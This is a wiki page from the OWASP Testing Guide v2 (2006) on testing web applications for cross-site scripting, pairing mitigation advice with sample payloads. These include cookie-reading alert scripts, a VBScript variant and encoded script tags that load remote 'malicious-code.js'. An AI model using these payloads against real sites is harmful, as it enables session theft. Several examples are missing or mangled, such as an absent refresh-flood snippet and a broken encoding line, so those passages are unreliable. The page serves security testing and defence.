Testing for Cross site scripting

Revision as of 06:57, 26 November 2006 by Wisec (Talk | contribs)

Jump to: navigation, search

OWASP Testing Guide v2 Table of Contents

Brief Summary

Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?

Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.

Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.

Description of the Issue

Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!

Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the <Script> tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross site scripting is used in many Phishing attacks.


An example would be, if an attacker hosts a malicious website, which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.



This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes.

The Stored Cross Site Scripting vulnerability, is the most powerful kinds of XSS attacks. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entities. A real life example of this would be SAMY, the XSS vulnerability found on MySpace in October of 2005. These vulnerabilities are more significant than other types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering or the web application could even be infected by a cross-site scripting virus.

The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how if you posted a stored XSS script to a popular blog, newspaper or page comments section of a website, all the visitors of that page would have their internal networks scanned and logged for a particular type of vulnerability.

Black Box testing and example



The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server. All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application

The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:

  • Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.
  • Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “<” to “<>.
  • If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.
  • Keep up with the latest security vulnerabilities and bugs for all production applications and servers.
  • Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.

The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:

  • Validate Input
  • Encode output

Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines. There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable. Any unescaped or unecoded data that is returned to the browser is a potential security risk. The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.
> < ( ) [ ] ' "  ;  : / |

PHP The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:

  • Strip_tags() removes HTML and PHP scripting tags from a string.
  • Utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.
  • Htmlspecialcharacters() turns characters such as &,>,<,” into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.
  • Strtr() filters any characters you specify. Make sure to filter “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.
    For example:

" style="background:url(JavaScript:alert(Malicious Content));

ASP.NET With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:

  • Constrain input submitted via server controls by using ASP.NET validater controls, such as RegularExpressionValidator, RangeValidator, and System.Text.RegularExpression.Regex. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.
  • Use the HtmlUtility.HtmlEncode method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.
  • Use the HttpOnly cookie option for added protection.
  • As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.

Gray Box testing and example

When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:

Example 1:

Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case thinking render Cross Site Scripting useless. If this is the case, you may want to use VBScript since it is not a case sensative language.

JavaScript: <script>alert(document.cookie);</script>

VBScript: <script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

Example 2:


<script src=http://www.owasp.org/malicious-code.js></script>

%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e

\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e




OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents